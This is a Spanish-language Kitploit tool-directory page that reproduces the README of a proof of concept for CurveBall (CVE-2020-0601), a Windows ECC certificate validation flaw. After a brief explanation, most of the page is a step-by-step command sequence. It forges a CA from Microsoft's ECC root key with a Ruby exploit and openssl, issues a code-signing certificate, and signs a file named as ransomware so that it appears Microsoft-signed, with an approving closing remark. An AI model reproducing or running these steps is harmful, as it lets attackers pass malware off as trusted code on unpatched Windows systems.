Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CurveBall-CVE-2020-0601-PoC | Kitploit
Herramientas/GitHubGitHub/okanulkr/curveball-cve-2020-0601-poc
Análisis de VulnerabilidadesAnálisis de CódigoExplotaciónCriptografíaPruebas de PenetraciónRed Teaming
GitHubokanulkr/curveball-cve-2020-0601-poc

CurveBall-CVE-2020-0601-PoC

Ver Repositorio
hace 5 añosAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CurveBall (CVE-2020-0601) - PoC

Esta vulnerabilidad, conocida como CurveBall, se debe a una verificación no válida de los certificados que utilizan el algoritmo ECC. Windows intenta verificar certificados previamente verificados desde la caché de certificados y, al hacerlo, solo comprueba si las claves públicas de los certificados son idénticas y no verifica otros parámetros.

Detalles matemáticos

Para falsificar el certificado, establecemos explícitamente los parámetros como se muestra a continuación:

root@kitploit:~
d' = 1 
G' = Q

Si necesitas más información, puedes consultar la sección de detalles matemáticos del archivo final_report_milestone_IV.pdf.

Uso (Firma de código)

En este PoC, usemos "Microsoft ECC Product Root Certificate Authority", que es el certificado de confianza de Microsoft hasta el año 2043.

Extraigamos la clave pública de la CA y modifiquémosla según la vulnerabilidad

root@kitploit:~
ruby exploit.rb ./MicrosoftECCProductRootCertificateAuthority.cer

Generamos un nuevo certificado x509 basado en esta clave. Esta será nuestra propia CA falsificada.

root@kitploit:~
openssl req -new -x509 -key spoofed_ca.key -out spoofed_ca.crt -subj "/C=/ST=/L=/O=/OU=/CN=/emailAddress="

Para ver el contenido de spoofed_ca.crt

root@kitploit:~
openssl x509 -in spoofed_ca.crt -noout -text

Generamos una nueva clave. Esta clave puede ser de cualquier tipo que quieras. Se utilizará para crear un certificado de firma de código, que firmaremos con nuestra propia CA.

root@kitploit:~
openssl ecparam -name secp384r1 -genkey -noout -out cert.key

A continuación, creamos una nueva solicitud de firma de certificado (CSR). Esta solicitud normalmente se envía a CA de confianza, pero como tenemos una falsificada, podemos firmarla nosotros mismos.

root@kitploit:~
openssl req -new -key cert.key -out cert.csr -config openssl_cs.conf -reqexts v3_cs

Firmamos nuestra nueva CSR con nuestra CA falsificada y la clave de CA. Este certificado expirará en 2047, mientras que la CA real de confianza de Microsoft expirará en 2043.

root@kitploit:~
openssl x509 -req -in cert.csr -CA spoofed_ca.crt -CAkey spoofed_ca.key -CAcreateserial -out cert.crt -days 10000 -extfile openssl_cs.conf -extensions v3_cs

Lo único que queda es empaquetar el certificado, su clave y la CA falsificada en un archivo PKCS12 para firmar ejecutables.

root@kitploit:~
openssl pkcs12 -export -in cert.crt -inkey cert.key -certfile spoofed_ca.crt -name "Code Signing" -out cert.p12

Firmemos nuestro ejecutable con el archivo PKCS12.

root@kitploit:~
osslsigncode sign -pkcs12 cert.p12 -n "Signed by PISP Team" -in unsigned_ransomware.exe -out microsoft_signed_ransomware.exe -pass 1234

Ahora tenemos un ransomware completamente nuevo firmado por Microsoft :)

Descargar herramienta